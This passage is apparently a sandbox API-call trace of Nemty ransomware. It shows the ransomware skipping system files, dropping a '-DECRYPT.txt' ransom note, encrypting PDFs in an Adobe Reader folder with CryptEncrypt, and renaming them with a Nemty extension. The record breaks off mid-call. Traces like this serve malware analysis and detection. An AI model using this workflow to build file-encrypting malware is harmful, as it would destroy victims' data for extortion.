lpString2="boot.ini") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="boot.ini") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="AUTOEXEC.BAT") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="ntuser.dat") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="desktop.ini") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="CONFIG.SYS") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="RECYCLER") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="BOOTSECT.BAK") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="bootmgr") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="programdata") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="appdata") returned 1 [0190.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0190.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UKR", lpUsedDefaultChar=0x0) returned 3 [0190.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0190.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UKR", lpUsedDefaultChar=0x0) returned 3 [0190.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0190.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0190.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0190.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0190.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0190.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0190.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0190.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0190.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0190.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0190.147] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.147] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0190.148] CloseHandle (hObject=0x2f0) returned 1 [0190.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0190.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0190.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0190.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0190.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0190.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0190.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0190.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.148] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.150] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.150] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0190.150] CloseHandle (hObject=0x2f0) returned 1 [0190.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0190.151] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24fb9c90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24fb9c90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0190.151] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0190.151] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24fb9c90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24fb9c90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0190.151] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0190.151] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0190.151] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0190.151] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0190.152] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0190.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0190.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0190.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0190.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0190.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0190.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0190.152] Sleep (dwMilliseconds=0x5) [0190.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24fdfdf0, dwHighDateTime=0x1d561e8)) [0190.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24fdfdf0, dwHighDateTime=0x1d561e8)) [0190.162] GetLastError () returned 0xb7 [0190.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.162] GetLastError () returned 0xb7 [0190.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.162] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.162] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.162] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0190.163] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="UD62RMeV1Oug3qV0HZfUkBN6dyxYWK++wOBzBzBnLzdg5p2b/tJ8nlZHZxu/DHqW\r\njFNv17uPTqOamTCG1gJPRjlMxy6OVewHAFznlUbphnLeiO4L1HG3AL5X7n+M+ZdE\r\n3edYRWpJu9SpFaCCytByx3bqOuYuwFkxOStNq9cJH+fyKDowGC3t2VuTkTpA4BCu\r\nwWzJMEnt+nAF5koT6KMhztiluLpKj51RVME+r22pT8lfv4hbnLGHXWpfEQVpTooo\r\nRxhTtXVAD/DMJLgCV28bTOclWoO4MinXdDKtdTm9Sflg7/EOFZyzgHNoUOBMoTRJ\r\npeIKWdw3GZ3U9M/ERyh3hA==\r\n", pcchString=0x653df5c) returned 1 [0190.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0190.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.165] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=101141) returned 1 [0190.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x18b10) returned 0x6352c48 [0190.165] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.165] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x18b10, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x18b10, lpOverlapped=0x0) returned 1 [0190.174] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.174] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x18b10, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x18b10, lpOverlapped=0x0) returned 1 [0190.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.174] SetFilePointer (in: hFile=0x320, lDistanceToMove=101141, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18b15 [0190.174] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.174] CloseHandle (hObject=0x320) returned 1 [0190.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0190.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0190.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.175] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0190.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0190.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.175] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0190.175] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0190.176] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0190.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 